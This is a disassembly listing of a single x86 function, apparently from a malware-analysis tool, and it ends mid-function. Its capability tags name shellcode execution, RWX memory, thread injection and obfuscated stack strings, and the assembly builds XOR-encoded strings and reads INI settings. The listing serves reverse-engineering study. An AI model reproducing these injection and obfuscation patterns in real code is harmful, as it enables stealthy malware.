Function at 0x454d83
Capabilities:
Allocate or change rwx memory
Check if file exists
Contain obfuscated stackstrings
Create thread
Delete file
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Move file
Read .ini file
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f4701
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x35f8
call fcn.005c85a0
mov eax, dword [0x679dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x2bf4], eax
call fcn.0044d900
lea eax, [ebp - 0x2bf0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
call fcn.0046d580
add esp, 0xc
push 0
push 0
push 0
call fcn.0046d580
add esp, 0xc
push 0
push 0
push 0x200002
call fcn.0046d580
add esp, 0xc
mov dword [ebp - 0x2ca8], 0x6e62ca14
lea eax, [ebp - 0x2c98]
mov dword [ebp - 0x2ca4], 0xa1f34b8a
lea ecx, [ebp - 0x30c0]
mov dword [ebp - 0x2ca0], 0xc0676c42
mov dword [ebp - 0x2c9c], 0xb21b7932
push eax
lea eax, [ebp - 0x2ca8]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2ca8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2cb8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x30c8]
mov dword [ebp - 0x2cb8], 0x4052e425
mov dword [ebp - 0x2cb4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2cb0], 0xc0676c76
mov dword [ebp - 0x2cac], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2cb8]
mov dword [ebp - 0xb30], 0x6e62ca14
push eax
lea eax, [ebp - 0x2cc8]
mov dword [ebp - 0xb2c], 0xa1f34b8a
push eax
lea ecx, [ebp - 0x30d0]
mov dword [ebp - 0x2cc8], 0x6e62ca14
mov dword [ebp - 0x2cc4], 0xa1f34b8a
mov dword [ebp - 0xb28], 0xc0676c42
mov dword [ebp - 0xb24], 0xb21b7932
mov dword [ebp - 0x2cc0], 0xc0676c42
mov dword [ebp - 0x2cbc], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xb30]
lea eax, [ebp - 0xb30]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x13c8]
push eax
movaps xmmword [ebp - 0xb30], xmm1
call fcn.0045ebf0
push 0x66fd1f
lea ecx, [ebp - 0x948]
mov dword [ebp - 4], 0
call fcn.0045ebf0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x2cc8]
push eax
mov dword [ebp - 0x2cd8], 0x3237920a
lea eax, [ebp - 0x2cd8]
mov dword [ebp - 0x2cd4], 0xe1ad0ccc
mov dword [ebp - 0x2cd0], 0xc0676c59
mov dword [ebp - 0x2ccc], 0xb21b7932
push eax
lea ecx, [ebp - 0x30d8]
call fcn.0045f990
lea eax, [ebp - 0x2cd8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2ce8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x30e0]
mov dword [ebp - 0x2ce8], 0x4052e425
mov dword [ebp - 0x2ce4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2ce0], 0xc0676c76
mov dword [ebp - 0x2cdc], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2c88]
mov dword [ebp - 0x9e0], 0x3237920a
push eax
lea eax, [ebp - 0x2c98]
mov dword [ebp - 0x9dc], 0xe1ad0ccc
push eax
lea ecx, [ebp - 0x30e8]
mov dword [ebp - 0x2c98], 0x3237920a
mov dword [ebp - 0x2c94], 0xe1ad0ccc
mov dword [ebp - 0x9d8], 0xc0676c59
mov dword [ebp - 0x9d4], 0xb21b7932
mov dword [ebp - 0x2c90], 0xc0676c59
mov dword [ebp - 0x2c8c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9e0]
lea eax, [ebp - 0x9e0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x900]
push eax
movaps xmmword [ebp - 0x9e0], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x1820]
push eax
lea eax, [ebp - 0x1840]
mov dword [ebp - 0x1840], 0x2e3da70a
push eax
lea ecx, [ebp - 0x30f0]
mov dword [ebp - 0x183c], 0xfab011cc
mov dword [ebp - 0x1838], 0xb2081815
mov dword [ebp - 0x1834], 0xde771d1c
mov dword [ebp - 0x1830], 0x97d58527
mov dword [ebp - 0x182c], 0x779efebd
mov dword [ebp - 0x1828], 0x9ef18ec8
mov dword [ebp - 0x1824], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1800]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1820]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3608]
mov dword [ebp - 0x1820], 0x4052e425
mov dword [ebp - 0x181c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1818], 0xc0676c76
mov dword [ebp - 0x1814], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1810], 0x97d58527
mov dword [ebp - 0x180c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1808], 0x9ef18ec8
mov dword [ebp - 0x1804], 0xe0d84f08
call fcn.0045f990
mov dword [ebp - 0xda0], 0x2e3da70a
mov dword [ebp - 0xd9c], 0xfab011cc
mov dword [ebp - 0x1800], 0x2e3da70a
mov dword [ebp - 0x17fc], 0xfab011cc
mov dword [ebp - 0xd98], 0xb2081815
lea eax, [ebp - 0x17e0]
mov dword [ebp - 0xd94], 0xde771d1c
push eax
lea eax, [ebp - 0x1800]
mov dword [ebp - 0x17f8], 0xb2081815
push eax
lea ecx, [ebp - 0x3600]
mov dword [ebp - 0x17f4], 0xde771d1c
mov dword [ebp - 0xd90], 0x97d58527
mov dword [ebp - 0xd8c], 0x779efebd
mov dword [ebp - 0x17f0], 0x97d58527
mov dword [ebp - 0x17ec], 0x779efebd
mov dword [ebp - 0xd88], 0x9ef18ec8
mov dword [ebp - 0xd84], 0xe0d84f08
mov dword [ebp - 0x17e8], 0x9ef18ec8
mov dword [ebp - 0x17e4], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xda0]
lea eax, [ebp - 0xda0]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x8e8]
movaps xmmword [ebp - 0xda0], xmm1
movaps xmm1, xmmword [ebp - 0xd90]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xd90], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1ef0]
push eax
lea eax, [ebp - 0x1f20]
mov dword [ebp - 0x1f20], 0x403de469
push eax
lea ecx, [ebp - 0x35f8]
mov dword [ebp - 0x1f1c], 0x8fa665de
mov dword [ebp - 0x1f18], 0xc0156c13
mov dword [ebp - 0x1f14], 0xb2747971
mov dword [ebp - 0x1f10], 0x97b38549
mov dword [ebp - 0x1f0c], 0x77f9fed4
mov dword [ebp - 0x1f08], 0x9e988ee6
mov dword [ebp - 0x1f04], 0xe0b14f66
mov dword [ebp - 0x1f00], 0xb7d7ed9
mov dword [ebp - 0x1efc], 0xb7b4931b
mov dword [ebp - 0x1ef8], 0x7e658fa
mov dword [ebp - 0x1ef4], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x2070]
mov dword [ebp - 0x870], 0x4052e425
push eax
lea eax, [ebp - 0x20a0]
mov dword [ebp - 0x86c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x35f0]
mov dword [ebp - 0x20a0], 0x4052e425
mov dword [ebp - 0x209c], 0x8fc265bf
mov dword [ebp - 0x868], 0xc0676c76
mov dword [ebp - 0x864], 0xb21b7932
mov dword [ebp - 0x2098], 0xc0676c76
mov dword [ebp - 0x2094], 0xb21b7932
mov dword [ebp - 0x860], 0x97d58527
mov dword [ebp - 0x85c], 0x779efebd
mov dword [ebp - 0x2090], 0x97d58527
mov dword [ebp - 0x208c], 0x779efebd
mov dword [ebp - 0x858], 0x9ef18ec8
mov dword [ebp - 0x854], 0xe0d84f08
mov dword [ebp - 0x2088], 0x9ef18ec8
mov dword [ebp - 0x2084], 0xe0d84f08
mov dword [ebp - 0x850], 0xb7d7ed9
mov dword [ebp - 0x84c], 0xb7b4931b
mov dword [ebp - 0x2080], 0xb7d7ed9
mov dword [ebp - 0x207c], 0xb7b4931b
mov dword [ebp - 0x848], 0x7e658fa
mov dword [ebp - 0x844], 0x4625c1be
mov dword [ebp - 0x2078], 0x7e658fa
mov dword [ebp - 0x2074], 0x4625c1be
call fcn.0045f990
mov dword [ebp - 0xfb0], 0x403de469
mov dword [ebp - 0xfac], 0x8fa665de
mov dword [ebp - 0x1cb0], 0x403de469
mov dword [ebp - 0x1cac], 0x8fa665de
lea eax, [ebp - 0x1c80]
mov dword [ebp - 0xfa8], 0xc0156c13
push eax
lea eax, [ebp - 0x1cb0]
mov dword [ebp - 0xfa4], 0xb2747971
push eax
lea ecx, [ebp - 0x35e8]
mov dword [ebp - 0x1ca8], 0xc0156c13
mov dword [ebp - 0x1ca4], 0xb2747971
mov dword [ebp - 0xfa0], 0x97b38549
mov dword [ebp - 0xf9c], 0x77f9fed4
mov dword [ebp - 0x1ca0], 0x97b38549
mov dword [ebp - 0x1c9c], 0x77f9fed4
mov dword [ebp - 0xf98], 0x9e988ee6
mov dword [ebp - 0xf94], 0xe0b14f66
mov dword [ebp - 0x1c98], 0x9e988ee6
mov dword [ebp - 0x1c94], 0xe0b14f66
mov dword [ebp - 0xf90], 0xb7d7ed9
mov dword [ebp - 0xf8c], 0xb7b4931b
mov dword [ebp - 0x1c90], 0xb7d7ed9
mov dword [ebp - 0x1c8c], 0xb7b4931b
mov dword [ebp - 0xf88], 0x7e658fa
mov dword [ebp - 0xf84], 0x4625c1be
mov dword [ebp - 0x1c88], 0x7e658fa
mov dword [ebp - 0x1c84], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xfb0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xfb0], xmm1
movaps xmm1, xmmword [ebp - 0xfa0]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xfa0], xmm1
lea eax, [ebp - 0xfb0]
movaps xmm1, xmmword [ebp - 0xf90]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xf90], xmm1
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea eax, [ebp - 0x17c0]
mov dword [ebp - 0x17e0], 0x4033e469
push eax
lea eax, [ebp - 0x17e0]
mov dword [ebp - 0x17dc], 0x8fa565d1
push eax
lea ecx, [ebp - 0x35e0]
mov dword [ebp - 0x17d8], 0xc0066c03
mov dword [ebp - 0x17d4], 0xb27e7955
mov dword [ebp - 0x17d0], 0x97d58527
mov dword [ebp - 0x17cc], 0x779efebd
mov dword [ebp - 0x17c8], 0x9ef18ec8
mov dword [ebp - 0x17c4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x17a0]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x17c0]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x35d8]
mov dword [ebp - 0x17c0], 0x4052e425
mov dword [ebp - 0x17bc], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x17b8], 0xc0676c76
mov dword [ebp - 0x17b4], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x17b0], 0x97d58527
mov dword [ebp - 0x17ac], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x17a8], 0x9ef18ec8
mov dword [ebp - 0x17a4], 0xe0d84f08
call fcn.0045f990
mov dword [ebp - 0xdc0], 0x4033e469
mov dword [ebp - 0xdbc], 0x8fa565d1
mov dword [ebp - 0x17a0], 0x4033e469
lea eax, [ebp - 0x1780]
mov dword [ebp - 0x179c], 0x8fa565d1
push eax
lea eax, [ebp - 0x17a0]
mov dword [ebp - 0xdb8], 0xc0066c03
push eax
lea ecx, [ebp - 0x35d0]
mov dword [ebp - 0xdb4], 0xb27e7955
mov dword [ebp - 0x1798], 0xc0066c03
mov dword [ebp - 0x1794], 0xb27e7955
mov dword [ebp - 0xdb0], 0x97d58527
mov dword [ebp - 0xdac], 0x779efebd
mov dword [ebp - 0x1790], 0x97d58527
mov dword [ebp - 0x178c], 0x779efebd
mov dword [ebp - 0xda8], 0x9ef18ec8
mov dword [ebp - 0xda4], 0xe0d84f08
mov dword [ebp - 0x1788], 0x9ef18ec8
mov dword [ebp - 0x1784], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xdc0]
lea eax, [ebp - 0x2cf8]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x35c8]
movaps xmmword [ebp - 0xdc0], xmm1
movaps xmm1, xmmword [ebp - 0xdb0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2d08]
movaps xmmword [ebp - 0xdb0], xmm1
push eax
mov dword [ebp - 0x2d08], 0x403de466
mov dword [ebp - 0x2d04], 0x8fa465d1
mov dword [ebp - 0x2d00], 0xc0006c1f
mov dword [ebp - 0x2cfc], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2d08]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2d18]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x35c0]
mov dword [ebp - 0x2d18], 0x4052e425
mov dword [ebp - 0x2d14], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2d10], 0xc0676c76
mov dword [ebp - 0x2d0c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2d18]
mov dword [ebp - 0x9d0], 0x403de466
push eax
lea eax, [ebp - 0x2d28]
mov dword [ebp - 0x9cc], 0x8fa465d1
push eax
lea ecx, [ebp - 0x35b8]
mov dword [ebp - 0x2d28], 0x403de466
mov dword [ebp - 0x2d24], 0x8fa465d1
mov dword [ebp - 0x9c8], 0xc0006c1f
mov dword [ebp - 0x9c4], 0xb21b7932
mov dword [ebp - 0x2d20], 0xc0006c1f
mov dword [ebp - 0x2d1c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9d0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push eax
push 0x3e7
lea eax, [ebp - 0xdc0]
movaps xmmword [ebp - 0x9d0], xmm1
push eax
lea eax, [ebp - 0x9d0]
push eax
call esi
mov edi, eax
mov dword [ebp - 0x1780], 0x4020e471
mov dword [ebp - 0x177c], 0x8f8165c6
mov dword [ebp - 0x1778], 0xc0126c19
mov dword [ebp - 0x1774], 0xb26f795c
mov dword [ebp - 0x1770], 0x97d58527
lea eax, [ebp - 0x1760]
mov dword [ebp - 0x176c], 0x779efebd
push eax
lea eax, [ebp - 0x1780]
mov dword [ebp - 0x1768], 0x9ef18ec8
push eax
lea ecx, [ebp - 0x35b0]
mov dword [ebp - 0x1764], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1740]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1760]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x35a8]
mov dword [ebp - 0x1760], 0x4052e425
mov dword [ebp - 0x175c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1758], 0xc0676c76
mov dword [ebp - 0x1754], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1750], 0x97d58527
mov dword [ebp - 0x174c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1748], 0x9ef18ec8
mov dword [ebp - 0x1744], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1840]
mov dword [ebp - 0xde0], 0x4020e471
push eax
lea eax, [ebp - 0x1860]
mov dword [ebp - 0xddc], 0x8f8165c6
push eax
lea ecx, [ebp - 0x35a0]
mov dword [ebp - 0x1860], 0x4020e471
mov dword [ebp - 0x185c], 0x8f8165c6
mov dword [ebp - 0xdd8], 0xc0126c19
mov dword [ebp - 0xdd4], 0xb26f795c
mov dword [ebp - 0x1858], 0xc0126c19
mov dword [ebp - 0x1854], 0xb26f795c
mov dword [ebp - 0xdd0], 0x97d58527
mov dword [ebp - 0xdcc], 0x779efebd
mov dword [ebp - 0x1850], 0x97d58527
mov dword [ebp - 0x184c], 0x779efebd
mov dword [ebp - 0xdc8], 0x9ef18ec8
mov dword [ebp - 0xdc4], 0xe0d84f08
mov dword [ebp - 0x1848], 0x9ef18ec8
mov dword [ebp - 0x1844], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xde0]
lea eax, [ebp - 0x2d28]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3598]
movaps xmmword [ebp - 0xde0], xmm1
movaps xmm1, xmmword [ebp - 0xdd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2d38]
movaps xmmword [ebp - 0xdd0], xmm1
push eax
mov dword [ebp - 0x2d38], 0x4006e477
mov dword [ebp - 0x2d34], 0x8fc265bf
mov dword [ebp - 0x2d30], 0xc0676c76
mov dword [ebp - 0x2d2c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2d38]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2d48]
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x2d48], 0x4052e425
mov dword [ebp - 0x2d44], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2d40], 0xc0676c76
mov dword [ebp - 0x2d3c], 0xb21b7932
push eax
lea ecx, [ebp - 0x3590]
call fcn.0045f990
lea eax, [ebp - 0x2d48]
mov dword [ebp - 0x9c0], 0x4006e477
push eax
lea eax, [ebp - 0x2d58]
mov dword [ebp - 0x9bc], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3588]
mov dword [ebp - 0x2d58], 0x4006e477
mov dword [ebp - 0x2d54], 0x8fc265bf
mov dword [ebp - 0x9b8], 0xc0676c76
mov dword [ebp - 0x9b4], 0xb21b7932
mov dword [ebp - 0x2d50], 0xc0676c76
mov dword [ebp - 0x2d4c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9c0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
lea eax, [ebp - 0xde0]
movaps xmmword [ebp - 0x9c0], xmm1
push eax
lea eax, [ebp - 0x9c0]
push eax
call esi
mov dword [ebp - 0x2c00], eax
cmp edi, 0x3e7
jne 0x456183
lea eax, [ebp - 0x1cb0]
mov dword [ebp - 0x1ce0], 0x21378875
push eax
lea eax, [ebp - 0x1ce0]
mov dword [ebp - 0x1cdc], 0xece200cc
push eax
lea ecx, [ebp - 0x3580]
mov dword [ebp - 0x1cd8], 0xb308031e
mov dword [ebp - 0x1cd4], 0xd3775957
mov dword [ebp - 0x1cd0], 0xf6a0e249
mov dword [ebp - 0x1ccc], 0x1be9bda
mov dword [ebp - 0x1cc8], 0xf782fcad
mov dword [ebp - 0x1cc4], 0xc0e22167
mov dword [ebp - 0x1cc0], 0xb7d7ed9
mov dword [ebp - 0x1cbc], 0xb7b4931b
mov dword [ebp - 0x1cb8], 0x7e658fa
mov dword [ebp - 0x1cb4], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1ce0]
mov dword [ebp - 0x870], 0x4052e425
push eax
lea eax, [ebp - 0x1d10]
mov dword [ebp - 0x86c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3578]
mov dword [ebp - 0x1d10], 0x4052e425
mov dword [ebp - 0x1d0c], 0x8fc265bf
mov dword [ebp - 0x868], 0xc0676c76
mov dword [ebp - 0x864], 0xb21b7932
mov dword [ebp - 0x1d08], 0xc0676c76
mov dword [ebp - 0x1d04], 0xb21b7932
mov dword [ebp - 0x860], 0x97d58527
mov dword [ebp - 0x85c], 0x779efebd
mov dword [ebp - 0x1d00], 0x97d58527
mov dword [ebp - 0x1cfc], 0x779efebd
mov dword [ebp - 0x858], 0x9ef18ec8
mov dword [ebp - 0x854], 0xe0d84f08
mov dword [ebp - 0x1cf8], 0x9ef18ec8
mov dword [ebp - 0x1cf4], 0xe0d84f08
mov dword [ebp - 0x850], 0xb7d7ed9
mov dword [ebp - 0x84c], 0xb7b4931b
mov dword [ebp - 0x1cf0], 0xb7d7ed9
mov dword [ebp - 0x1cec], 0xb7b4931b
mov dword [ebp - 0x848], 0x7e658fa
mov dword [ebp - 0x844], 0x4625c1be
mov dword [ebp - 0x1ce8], 0x7e658fa
mov dword [ebp - 0x1ce4], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1d10]
mov dword [ebp - 0x1220], 0x21378875
push eax
lea eax, [ebp - 0x1d40]
mov dword [ebp - 0x121c], 0xece200cc
push eax
lea ecx, [ebp - 0x3570]
mov dword [ebp - 0x1d40], 0x21378875
mov dword [ebp - 0x1d3c], 0xece200cc
mov dword [ebp - 0x1218], 0xb308031e
mov dword [ebp - 0x1214], 0xd3775957
mov dword [ebp - 0x1d38], 0xb308031e
mov dword [ebp - 0x1d34], 0xd3775957
mov dword [ebp - 0x1210], 0xf6a0e249
mov dword [ebp - 0x120c], 0x1be9bda
mov dword [ebp - 0x1d30], 0xf6a0e249
mov dword [ebp - 0x1d2c], 0x1be9bda
mov dword [ebp - 0x1208], 0xf782fcad
mov dword [ebp - 0x1204], 0xc0e22167
mov dword [ebp - 0x1d28], 0xf782fcad
mov dword [ebp - 0x1d24], 0xc0e22167
mov dword [ebp - 0x1200], 0xb7d7ed9
mov dword [ebp - 0x11fc], 0xb7b4931b
mov dword [ebp - 0x1d20], 0xb7d7ed9
mov dword [ebp - 0x1d1c], 0xb7b4931b
mov dword [ebp - 0x11f8], 0x7e658fa
mov dword [ebp - 0x11f4], 0x4625c1be
mov dword [ebp - 0x1d18], 0x7e658fa
mov dword [ebp - 0x1d14], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1220]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0x1220], xmm1
movaps xmm1, xmmword [ebp - 0x860]
lea edx, [ebp - 0x1220]
pxor xmm1, xmmword [ebp - 0x1210]
mov ecx, 0x67e708
movaps xmmword [ebp - 0x1210], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1200], xmm1
call fcn.00460c70
push fcn.00461040
mov ecx, eax
call fcn.0045e4b0
lea eax, [ebp - 0x2d58]
mov dword [ebp - 0x2d68], 0x6068d505
push eax
lea eax, [ebp - 0x2d68]
mov dword [ebp - 0x2d64], 0xe1a70ceb
push eax
lea ecx, [ebp - 0x3568]
mov dword [ebp - 0x2d60], 0xa9314c11
mov dword [ebp - 0x2d5c], 0xb23b0d57
call fcn.0045f990
lea eax, [ebp - 0x2d68]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2d78]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3560]
mov dword [ebp - 0x2d78], 0x4052e425
mov dword [ebp - 0x2d74], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2d70], 0xc0676c76
mov dword [ebp - 0x2d6c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2d78]
mov dword [ebp - 0x9b0], 0x6068d505
push eax
lea eax, [ebp - 0x2d88]
mov dword [ebp - 0x9ac], 0xe1a70ceb
push eax
lea ecx, [ebp - 0x3558]
mov dword [ebp - 0x2d88], 0x6068d505
mov dword [ebp - 0x2d84], 0xe1a70ceb
mov dword [ebp - 0x9a8], 0xa9314c11
mov dword [ebp - 0x9a4], 0xb23b0d57
mov dword [ebp - 0x2d80], 0xa9314c11
mov dword [ebp - 0x2d7c], 0xb23b0d57
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9b0]
lea edx, [ebp - 0x9b0]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67e708
movaps xmmword [ebp - 0x9b0], xmm1
call fcn.00460c70
push fcn.00461040
mov ecx, eax
call fcn.0045e4b0
lea eax, [ebp - 0x2d88]
mov dword [ebp - 0x2d98], 0x6068d605
push eax
lea eax, [ebp - 0x2d98]
mov dword [ebp - 0x2d94], 0xe3a50bfa
push eax
lea ecx, [ebp - 0x3550]
mov dword [ebp - 0x2d90], 0xe00f1f1f
mov dword [ebp - 0x2d8c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2d98]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2da8]
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x2da8], 0x4052e425
mov dword [ebp - 0x2da4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2da0], 0xc0676c76
mov dword [ebp - 0x2d9c], 0xb21b7932
push eax
lea ecx, [ebp - 0x3548]
call fcn.0045f990
lea eax, [ebp - 0x2da8]
mov dword [ebp - 0xa10], 0x6068d605
push eax
lea eax, [ebp - 0x2db8]
mov dword [ebp - 0xa0c], 0xe3a50bfa
push eax
lea ecx, [ebp - 0x3540]
mov dword [ebp - 0x2db8], 0x6068d605
mov dword [ebp - 0x2db4], 0xe3a50bfa
mov dword [ebp - 0xa08], 0xe00f1f1f
mov dword [ebp - 0xa04], 0xb21b7932
mov dword [ebp - 0x2db0], 0xe00f1f1f
mov dword [ebp - 0x2dac], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa10]
lea edx, [ebp - 0xa10]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67e708
movaps xmmword [ebp - 0xa10], xmm1
call fcn.00460c70
push fcn.00461040
mov ecx, eax
call fcn.0045e4b0
jmp 0x4562e0
cmp edi, 1
je 0x456378
cmp edi, 2
je 0x456378
mov dword [ebp - 0x11e0], 0xfba5a50b
lea edx, [ebp - 0x11f0]
mov dword [ebp - 0x11dc], 0x12ed9fd8
mov ecx, 0x67e708
mov dword [ebp - 0x11d8], 0xf294fde8
mov dword [ebp - 0x11d4], 0xc0ac2c6d
mov dword [ebp - 0x11d0], 0x621c19b8
mov dword [ebp - 0x11cc], 0xb7b4bd75
mov dword [ebp - 0x11c8], 0x7e658fa
mov dword [ebp - 0x11c4], 0x4625c1be
mov dword [ebp - 0x11f0], 0x21248a6c
mov dword [ebp - 0x11ec], 0xafa60cd3
mov dword [ebp - 0x11e8], 0xa7090d1a
mov dword [ebp - 0x11e4], 0xd77c1847
movaps xmm1, xmmword [ebp - 0x11f0]
mov dword [ebp - 0x8a0], 0x4052e425
mov dword [ebp - 0x89c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x11f0], xmm1
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x11e0]
movaps xmmword [ebp - 0x11e0], xmm1
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0x11d0], xmm1
call fcn.00460c70
push eax
call fcn.00461040
add esp, 4
mov dword [ebp - 0xac0], 0x32278b7c
lea edx, [ebp - 0xac0]
mov dword [ebp - 0xabc], 0xe0aa069f
mov ecx, 0x67e708
mov dword [ebp - 0xab8], 0xfa020f1f
mov dword [ebp - 0xab4], 0xb21b7912
mov dword [ebp - 0x850], 0x4052e425
